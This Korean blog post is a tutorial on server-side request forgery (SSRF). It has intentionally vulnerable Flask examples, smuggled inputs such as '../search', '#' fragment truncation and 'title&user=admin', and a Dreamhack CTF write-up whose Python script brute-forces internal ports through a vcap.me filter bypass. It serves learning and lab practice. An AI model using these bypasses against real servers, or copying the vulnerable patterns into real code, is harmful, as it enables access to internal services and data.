SSRF는 Server-side Request Forgery의 약자로써 웹 서비스의 요청을 변조하는 취약점으로, 해커가 브라우저를 통해 변조된 요청을 보내는 CSRF와는 다르게 웹 서비스의 권한으로 변조된 요청을 보낼 수 있다.
클라이언트에서 서버로 값을 보낼때 터지는 취약점은 CSRF
서버에서 서버로 값을 보낼때 터지는 취약점은 SSRF
쉽게 예를 들어 말해보면, SNS서비스를 운영하고 있는 서버에서 로그인을 할 때 사용자의 아이디와 비밀번호를 DB에서 비교하고 끝내는것이 아닌 마이크로서비스 간 통신을 통해 사용자의 프로필 이미지를 가져 온다거나, 외부 API 호출을 통해 사용자의 로그인 국가를 알아내는 등의 서버에서 또 다른 서비스로 요청하는 기능이 있을 수 있다.
이런식으로 리소스를 나누어서 서비스를 제공하면 관리에 용이하고 코드의 복잡성을 낮출 수 있는 장점이 있으나,
사용자의 입력값이 포함 될 수 있기 때문에 개발자의 의도하지 않은 요청이 넘어가 SSRF 취약점을 일으킬 수 있다.
1. 사용자가 입력한 URL에 요청을 보내는 경우
from flask import Flask, request, render_template
import requests
app = Flask(__name__)
@app.route("/image_view")
def image_downloader():
image_url = request.args.get("image_url", "")
response = requests.get(image_url)
return (
response.content,
200,
{"Content-Type": response.headers.get("Content-Type", "")},
)
@app.route("/admin_page") #서비스 이용자들에겐 알려지지 않은 API
def request_info():
return render_template('index.html')
app.run(host="127.0.0.1", port=8000)
위의 코드는 특정 URL의 이미지를 보여주는 서버 코드이다.
정상적인 이용자들은 파라미터에 이미지의 URL을 넣어보겠지만, 서버 내부에 숨겨놓은 API를 알아낸 해커라면 악의적인의도를 가지고 접근할 수 있게 된다.
2. 웹 서비스의 요청 URL에 이용자의 입력값이 포함되는 경우
사용자가 직접 입력한 값을 그대로 URL에 삽입하게 되면 해커가 URI fragment나 경로 이동 문자를 이용하여 원하는 URL로 요청할 수 있다.
from flask import Flask, request, render_template
import requests
app = Flask(__name__)
INTERNAL_API = "http://api.internal/"
@app.route("/v1/api/user/information")
def user_info():
user_idx = request.args.get("user_idx", "")
response = requests.get(f"{INTERNAL_API}/user/{user_idx}")
@app.route("/v1/api/user/search")
def user_search():
user_name = request.args.get("user_name", "")
user_type = "public"
response = requests.get(
f"{INTERNAL_API}/user/search?user_name={user_name}&user_type={user_type}")
app.run(host="127.0.0.1", port=8000)
/user/information의 api에서 user_idx에 파라미터로 "../search"를 입력하게 되면 user_info 함수는 http://api.internal/search
로 요청을 보내게 된다.
../은 상위 경로로 이동하기 위한 구분자로 요청을 보내는 경로를 조작할 수 있다. 이 취약점은 경로를 변조한다는 의미에서 Path Traversal이라고 불린다.
또한,
#문자인 URI fragment를 이용하여 url에서 #문자 뒤의 url을 생략시켜버리면서,
http://api.internal/search?user_name=secret&user_type=private#&user_type=public
해당 url로 요청을 보내게 되면 실제로 user_search함수는
http://api.internal/search?user_name=secret&user_type=private
위 url로 요청을 보내게 된다.
3. 웹 서비스의 요청 Body에 이용자의 입력값이 포함되는 경우
url에 사용자 입력값이 포함되는 경우와 매우 유사하다.
from flask import Flask, request, session
import requests
from os import urandom
app = Flask(__name__)
app.secret_key = urandom(32)
INTERNAL_API = "http://127.0.0.1:8000/"
header = {"Content-Type": "application/x-www-form-urlencoded"}
@app.route("/v1/api/board/write", methods=["POST"])
def board_write():
session["idx"] = "guest" #session 명은 guest고정
title = request.form.get("title", "")
body = request.form.get("body", "")
data = f"title={title}&body={body}&user={session['idx']}" #writeAPI로 전송 전 데이터 생성 취약점 발생
response = requests.post(
f"{INTERNAL_API}/board/write", headers=header, data=data)
return response.content
@app.route("/board/write", methods=["POST"])
def internal_board_write():
title = request.form.get("title", "")
body = request.form.get("body", "")
user = request.form.get("user", "")
info = {
"title": title,
"body": body,
"user": user,
}
return info
@app.route("/")
def index():
return """
<form action="/v1/api/board/write" method="POST">
<input type="text" placeholder="title" name="title"/><br/>
<input type="text" placeholder="body" name="body"/><br/>
<input type="submit"/>
</form>
"""
app.run(host="127.0.0.1", port=8000, debug=True)
write API로 요청을 보내기 전에 사용자가 입력한 값을 바탕으로
data = f"title={title}&body={body}&user={session['idx']} 데이터를 생성한다.
session['idx']는 guest로 고정되어 있지만,전달 받은 값을 파싱할 때는 앞에 존재하는 것을 우선순위로 두기 때문에 &구분자를 이용해 title파라미터에 "title&user=admin" 문자열을 전송하게 되면 user는 admin인 상태로 데이터가 전송되게 된다.
4. web-ssrf 문제 풀이
#!/usr/bin/python3
from flask import (
Flask,
request,
render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read() # Flag is here!!
except:
FLAG = "[**FLAG**]"
@app.route("/")
def index():
return render_template("index.html")
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
print(url)
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
app.run(host="0.0.0.0", port=8000, threaded=True)
해당 페이지는 이미지를 보여주는 서비스를 제공하고 있다. 사용자가 입력한 url의 이미지를 보여주는 서비스인데,
위에서 말했던 1번 경우에 해당하게 된다.
코드를 살펴보면 파이썬으로 또 다른 웹서버를 하나 스레드로 실행시켜놓았는데 이 서버는 내부에서만 접근 할 수 있게 되어 있다 하지만 8000포트 서버에서는 localhost나 127.0.0.1에 대한 필터링을 걸어 놓았지만 이것을 우회해서 ssrf 공격을 할 수 있다면 플래그를 얻을 수 있겠다.
먼저 필터링을 통과해야 하는데, 필터링이 완벽하지 않다. localhost와 127.0.0.1만 하드코딩 해놨기 때문에 ip를 16진수로 접근한다거나, vcap.me를 사용한다거나 우회할 수 있는 방법은 많다. 여기선 vcap.me를 사용해보자
포트가 1500이상 1800이하인 포트로 실행되고 있고 url에 이미지가 없다면 Not Found 이미지를 보여주게 되는데 이것을 키로 사용하여 브루트 포스로 열린 포트를 찾아보도록 하자.
import requests
for i in range(1500, 1801):
NOTFOUND_IMG = "iVBORw0KG"
response = requests.post("http://host3.dreamhack.games:13413/img_viewer", data={'url': f'http://vcap.me:{i}'})
if NOTFOUND_IMG not in response.text:
print(f"Internal port number is: {i}")
break
해당 코드로 열린 포트를 찾아주었고, 열린 포트를 접근해 flag를 읽었다.
'Web hacking > 이론' 카테고리의 다른 글
File Vulnerability (image-storage, file-download-1) (0) | 2022.08.31 |
---|---|
Command Injection (0) | 2022.08.24 |
Blind NoSQL Injection (Mongo) (0) | 2022.08.23 |
비관계형 데이터베이스 Mongo DB, Redis, Couch DB (0) | 2022.08.17 |
SQL injection, Blind SQL injection (0) | 2022.08.17 |
최근댓글